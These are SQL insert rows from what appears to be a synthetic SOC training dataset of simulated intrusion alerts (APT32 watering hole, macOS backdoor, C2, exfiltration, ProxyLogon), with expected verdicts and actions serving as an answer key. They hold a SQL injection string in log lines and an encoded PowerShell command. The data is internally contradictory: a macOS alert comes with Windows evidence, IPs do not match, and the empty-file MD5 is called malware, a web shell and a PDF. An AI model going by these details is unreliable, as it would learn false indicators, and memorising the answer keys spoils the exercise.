(334, 'Compromised Website Detected', 'high', 'Web Proxy Logs', 'APT32 has injected malicious JavaScript into the human rights organization\'s website, setting the stage for the delivery of a malicious payload to site visitors.', 'Initial Access', 'T1071.001 - Application Layer Protocol: Web Protocols', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:52Z\",\"client_ip\":\"192.168.1.105\",\"request_method\":\"GET\",\"host\":\"humanrights.org\",\"url\":\"/index.html\",\"referrer\":\"http://malicious-redirect.com/landing\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\",\"status_code\":200,\"response_size\":4521,\"malicious_js_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"attacker_ip\":\"203.0.113.45\"}', '2026-01-02 20:31:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT32 infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious JavaScript used by APT32\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-redirect.com/landing\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"URL linked to phishing campaigns and malware distribution\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.928Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:52Z\\\",\\\"client_ip\\\":\\\"192.168.1.105\\\",\\\"request_method\\\":\\\"GET\\\",\\\"host\\\":\\\"humanrights.org\\\",\\\"url\\\":\\\"/index.html\\\",\\\"referrer\\\":\\\"http://malicious-redirect.com/landing\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\\\",\\\"status_code\\\":200,\\\"response_size\\\":4521,\\\"malicious_js_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.928Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:52Z\\\",\\\"client_ip\\\":\\\"192.168.1.105\\\",\\\"request_method\\\":\\\"GET\\\",\\\"host\\\":\\\"humanrights.org\\\",\\\"url\\\":\\\"/index.html\\\",\\\"referrer\\\":\\\"http://malicious-redirect.com/landing\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\\\",\\\"status_code\\\":200,\\\"response_size\\\":4521,\\\"malicious_js_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.928Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:52Z\\\",\\\"client_ip\\\":\\\"192.168.1.105\\\",\\\"request_method\\\":\\\"GET\\\",\\\"host\\\":\\\"humanrights.org\\\",\\\"url\\\":\\\"/index.html\\\",\\\"referrer\\\":\\\"http://malicious-redirect.com/landing\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\\\",\\\"status_code\\\":200,\\\"response_size\\\":4521,\\\"malicious_js_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.928Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:52Z\\\",\\\"client_ip\\\":\\\"192.168.1.105\\\",\\\"request_method\\\":\\\"GET\\\",\\\"host\\\":\\\"humanrights.org\\\",\\\"url\\\":\\\"/index.html\\\",\\\"referrer\\\":\\\"http://malicious-redirect.com/landing\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\\\",\\\"status_code\\\":200,\\\"response_size\\\":4521,\\\"malicious_js_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.928Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:52Z\\\",\\\"client_ip\\\":\\\"192.168.1.105\\\",\\\"request_method\\\":\\\"GET\\\",\\\"host\\\":\\\"humanrights.org\\\",\\\"url\\\":\\\"/index.html\\\",\\\"referrer\\\":\\\"http://malicious-redirect.com/landing\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\\\",\\\"status_code\\\":200,\\\"response_size\\\":4521,\\\"malicious_js_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(335, 'Obfuscated JavaScript Execution', 'high', 'Browser Security Logs', 'The obfuscated JavaScript payload is executed on visitor\'s browsers, preparing the system for malware deployment. This indicates the transition from web-based compromise to client-side infection.', 'Execution', 'T1059.007 - JavaScript', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:57Z\",\"event_id\":\"JS-Exec-20231015-143\",\"source_ip\":\"198.51.100.23\",\"destination_ip\":\"192.168.1.15\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"script_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"affected_user\":\"jdoe\",\"script_name\":\"obfuscated_payload.js\",\"referrer\":\"http://malicious-example.com/landing\"}', '2026-01-02 20:31:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel DB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of a known JavaScript exploit kit.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"obfuscated_payload.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"File name associated with obfuscated scripts used in attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.930Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:57Z\\\",\\\"event_id\\\":\\\"JS-Exec-20231015-143\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\\",\\\"script_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"affected_user\\\":\\\"jdoe\\\",\\\"script_name\\\":\\\"obfuscated_payload.js\\\",\\\"referrer\\\":\\\"http://malicious-example.com/landing\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.930Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:57Z\\\",\\\"event_id\\\":\\\"JS-Exec-20231015-143\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\\",\\\"script_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"affected_user\\\":\\\"jdoe\\\",\\\"script_name\\\":\\\"obfuscated_payload.js\\\",\\\"referrer\\\":\\\"http://malicious-example.com/landing\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.930Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:57Z\\\",\\\"event_id\\\":\\\"JS-Exec-20231015-143\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\\",\\\"script_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"affected_user\\\":\\\"jdoe\\\",\\\"script_name\\\":\\\"obfuscated_payload.js\\\",\\\"referrer\\\":\\\"http://malicious-example.com/landing\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.930Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:57Z\\\",\\\"event_id\\\":\\\"JS-Exec-20231015-143\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\\",\\\"script_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"affected_user\\\":\\\"jdoe\\\",\\\"script_name\\\":\\\"obfuscated_payload.js\\\",\\\"referrer\\\":\\\"http://malicious-example.com/landing\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.930Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:57Z\\\",\\\"event_id\\\":\\\"JS-Exec-20231015-143\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\\",\\\"script_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"affected_user\\\":\\\"jdoe\\\",\\\"script_name\\\":\\\"obfuscated_payload.js\\\",\\\"referrer\\\":\\\"http://malicious-example.com/landing\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(336, 'Custom Backdoor Installation', 'high', 'Endpoint Detection and Response (EDR)', 'An attacker has successfully installed a custom backdoor on macOS systems. This persistence mechanism allows continuous access and control over the infected systems of users who visited the compromised site.', 'Persistence', 'T1547: Boot or Logon Autostart Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_type\":\"persistence\",\"src_ip\":\"203.0.113.45\",\"dest_ip\":\"10.0.0.5\",\"username\":\"jdoe\",\"file_path\":\"/Users/jdoe/Library/LaunchAgents/com.example.backdoor.plist\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"process_name\":\"launchd\",\"process_id\":1234,\"sha256_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"user_agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:85.0) Gecko/20100101 Firefox/85.0\"}', '2026-01-02 20:31:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with malware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known macOS backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"/Users/jdoe/Library/LaunchAgents/com.example.backdoor.plist\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"File used to maintain persistence for a backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(337, 'Command and Control (C2) Communication Detected', 'high', 'Network Traffic Analysis', 'This alert highlights the establishment of communication between the backdoor and the attacker\'s C2 servers, enabling further actions.', 'Lateral Movement', 'T1071.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"185.92.220.133\",\"protocol\":\"HTTP\",\"method\":\"POST\",\"url\":\"http://malicious-domain.com/command\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"payload\":\"Encrypted data\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\"}', '2026-01-02 20:31:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.92.220.133\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server IP used for malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-domain.com/command\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Domain associated with C2 communication.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash known for malware payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Username of the potentially compromised account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(338, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) Systems', 'An unauthorized transfer of sensitive data was detected. The attacker attempted to exfiltrate proprietary data from the internal network to an external IP address.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"event_id\":\"EXFIL-2023-10-15-142235\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"file_name\":\"financial_report_Q3.pdf\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"action\":\"blocked\",\"alert_trigger\":\"Data Exfiltration Policy\",\"bytes_transferred\":1048576,\"description\":\"Attempted transfer of classified financial document via HTTPS to untrusted external IP.\"}', '2026-01-02 20:31:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal corporate network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with exfiltration activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Unrecognized file hash for sensitive document\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"HR System\",\"verdict\":\"internal\",\"details\":\"Employee account\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"financial_report_Q3.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Document Management System\",\"verdict\":\"sensitive\",\"details\":\"Confidential financial document\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.933Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-10-15-142235\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_Q3.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_trigger\\\":\\\"Data Exfiltration Policy\\\",\\\"bytes_transferred\\\":1048576,\\\"description\\\":\\\"Attempted transfer of classified financial document via HTTPS to untrusted external IP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.933Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-10-15-142235\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_Q3.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_trigger\\\":\\\"Data Exfiltration Policy\\\",\\\"bytes_transferred\\\":1048576,\\\"description\\\":\\\"Attempted transfer of classified financial document via HTTPS to untrusted external IP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.933Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-10-15-142235\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_Q3.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_trigger\\\":\\\"Data Exfiltration Policy\\\",\\\"bytes_transferred\\\":1048576,\\\"description\\\":\\\"Attempted transfer of classified financial document via HTTPS to untrusted external IP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.933Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-10-15-142235\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_Q3.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_trigger\\\":\\\"Data Exfiltration Policy\\\",\\\"bytes_transferred\\\":1048576,\\\"description\\\":\\\"Attempted transfer of classified financial document via HTTPS to untrusted external IP.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.933Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"event_id\\\":\\\"EXFIL-2023-10-15-142235\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_Q3.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_trigger\\\":\\\"Data Exfiltration Policy\\\",\\\"bytes_transferred\\\":1048576,\\\"description\\\":\\\"Attempted transfer of classified financial document via HTTPS to untrusted external IP.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(339, 'Initial Access via ProxyLogon Zero-Day', 'critical', 'Exchange server logs', 'Hafnium exploits the ProxyLogon zero-day vulnerabilities to breach the organization\'s perimeter defenses, marking the beginning of their operation.', 'Exploit', 'T1190 - Exploit Public-Facing Application', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-17T04:12:34Z\",\"src_ip\":\"203.0.113.45\",\"dest_ip\":\"192.168.1.10\",\"username\":\"SYSTEM\",\"exploit\":\"ProxyLogon\",\"url\":\"/owa/auth/x.js\",\"user_agent\":\"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"shell.aspx\"}', '2026-01-03 00:04:00', '2026-02-18 12:19:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"Known Hafnium IP associated with ProxyLogon exploits.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal Exchange server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"Hash associated with web shell used in ProxyLogon exploit.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"shell.aspx\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis_tool\",\"verdict\":\"malicious\",\"details\":\"Web shell file used for remote access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 